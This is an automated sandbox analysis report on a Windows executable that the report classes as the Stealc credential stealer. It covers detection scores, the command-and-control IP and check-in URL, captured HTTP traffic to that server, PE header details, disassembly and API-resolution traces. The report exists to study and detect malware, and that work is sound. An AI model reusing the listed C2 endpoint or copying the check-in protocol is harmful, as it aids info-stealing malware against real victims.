Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php?	file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37t=	file.exe, 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpSg	file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/Zg	file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php7	file.exe, 00000000.00000002.2169132039.00000000019CA000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523652
Start date and time:	2024-10-01 22:15:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 84
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947730601044701
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'838'080 bytes
MD5:	7c170238c3fdf496e5420134b8f2c1e6
SHA1:	45c78f3c1f17a5cb39fe957ee144b69c6fc81211
SHA256:	33cbd0e0fa5ac49cb28c3f095077c7b82cc6127d78a0024eff5e5d9f3fc12029
SHA512:	af3366534e37f3aab1823a121fe88f2176c1ea64c7f940de4063a69551a118629f7832f7171cf4f88e076c6d6a04d9d5a96aa3493f447d54d961cec420491fac
SSDEEP:	49152:KZJAJB41PcUGRVoEDXVfi60LGv6zk565Po:CAQhcUGUEDXVfauT4P
TLSH:	708533D59103D17ACCC7057069B72381AF68A31C03B8067AAE57E53C9CBE359F4A297E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa97000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8F355488DAh
pminsw mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	1d145ffa019b1e7a2b3c58db8c63a517	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29d000	0x200	5e5ed1405f8b4c5eaef3e696fc964ca4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
egzmbzjx	0x4fb000	0x19b000	0x19a800	c3072fa448b6439e85e69b10e43a93ae	False	0.9948495546589525	data	7.953232696533616	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cqfrfmzh	0x696000	0x1000	0x600	9e5854bea59eeab5892a4ee31cb6a210	False	0.54296875	data	4.849458066052131	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x697000	0x3000	0x2200	d32e56a9c0be527f0b65067fd536b997	False	0.0764016544117647	DOS executable (COM)	0.9973801061828198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T22:16:04.772466+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 22:16:03.769099951 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 1, 2024 22:16:03.775650024 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 1, 2024 22:16:03.775727987 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 1, 2024 22:16:03.776442051 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 1, 2024 22:16:03.783281088 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 1, 2024 22:16:04.534317017 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 1, 2024 22:16:04.534387112 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 1, 2024 22:16:04.537627935 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 1, 2024 22:16:04.546217918 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 1, 2024 22:16:04.772377968 CEST	80	49710	185.215.113.37	192.168.2.6
Oct 1, 2024 22:16:04.772465944 CEST	49710	80	192.168.2.6	185.215.113.37
Oct 1, 2024 22:16:07.230508089 CEST	49710	80	192.168.2.6	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 22:16:21.270625114 CEST	53	55663	1.1.1.1	192.168.2.6

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.37	80	6200	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 22:16:03.776442051 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 22:16:04.534317017 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 20:16:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 1, 2024 22:16:04.537627935 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIE Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 39 36 41 31 32 44 31 45 39 45 34 38 37 32 35 36 33 32 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="hwid"D596A12D1E9E487256326------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="build"doma------KFBGDBFBKKJECBFHDGIE--
Oct 1, 2024 22:16:04.772377968 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 20:16:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	16:16:00
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xff0000
File size:	1'838'080 bytes
MD5 hash:	7C170238C3FDF496E5420134B8F2C1E6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2128195023.0000000005490000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2169132039.000000000196E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 01009860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,01981718), ref: 010098A1
GetProcAddress.KERNEL32(76210000,019817D8), ref: 010098BA
GetProcAddress.KERNEL32(76210000,019816D0), ref: 010098D2
GetProcAddress.KERNEL32(76210000,01981730), ref: 010098EA
GetProcAddress.KERNEL32(76210000,01981580), ref: 01009903
GetProcAddress.KERNEL32(76210000,01988A30), ref: 0100991B
GetProcAddress.KERNEL32(76210000,01975650), ref: 01009933
GetProcAddress.KERNEL32(76210000,019753B0), ref: 0100994C
GetProcAddress.KERNEL32(76210000,01981598), ref: 01009964
GetProcAddress.KERNEL32(76210000,019816E8), ref: 0100997C
GetProcAddress.KERNEL32(76210000,019815C8), ref: 01009995
GetProcAddress.KERNEL32(76210000,019815E0), ref: 010099AD
GetProcAddress.KERNEL32(76210000,01975670), ref: 010099C5
GetProcAddress.KERNEL32(76210000,01981610), ref: 010099DE
GetProcAddress.KERNEL32(76210000,01981760), ref: 010099F6
GetProcAddress.KERNEL32(76210000,019755B0), ref: 01009A0E
GetProcAddress.KERNEL32(76210000,01981778), ref: 01009A27
GetProcAddress.KERNEL32(76210000,01981640), ref: 01009A3F
GetProcAddress.KERNEL32(76210000,01975510), ref: 01009A57
GetProcAddress.KERNEL32(76210000,01981820), ref: 01009A70
GetProcAddress.KERNEL32(76210000,019754D0), ref: 01009A88
LoadLibraryA.KERNEL32(019818B0,?,01006A00), ref: 01009A9A
LoadLibraryA.KERNEL32(01981898,?,01006A00), ref: 01009AAB
LoadLibraryA.KERNEL32(01981868,?,01006A00), ref: 01009ABD
LoadLibraryA.KERNEL32(01981838,?,01006A00), ref: 01009ACF
LoadLibraryA.KERNEL32(01981880,?,01006A00), ref: 01009AE0
GetProcAddress.KERNEL32(75B30000,019817F0), ref: 01009B02
GetProcAddress.KERNEL32(751E0000,01981808), ref: 01009B23
GetProcAddress.KERNEL32(751E0000,01981850), ref: 01009B3B
GetProcAddress.KERNEL32(76910000,01988DD8), ref: 01009B5D
GetProcAddress.KERNEL32(75670000,019753D0), ref: 01009B7E
GetProcAddress.KERNEL32(77310000,01988900), ref: 01009B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 01009BB6

Strings

NtQueryInformationProcess, xrefs: 01009BAA

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a00ca2f16a9093ad1f57a9e651fef7133125f5630a4f54eb954ba15389ef39fa
Instruction ID: 2bb30d617bde625b0d3af5d1d31a851846d7c96aa739f9b16d6782413d5e9e8f
Opcode Fuzzy Hash: a00ca2f16a9093ad1f57a9e651fef7133125f5630a4f54eb954ba15389ef39fa
Instruction Fuzzy Hash: D9A15BB55052409FD36AEFA8F98CE6A3BF9F79C701704853AA68AC724CD7399841DF10

Function 00FF45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00FF460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00FF479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45DD

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
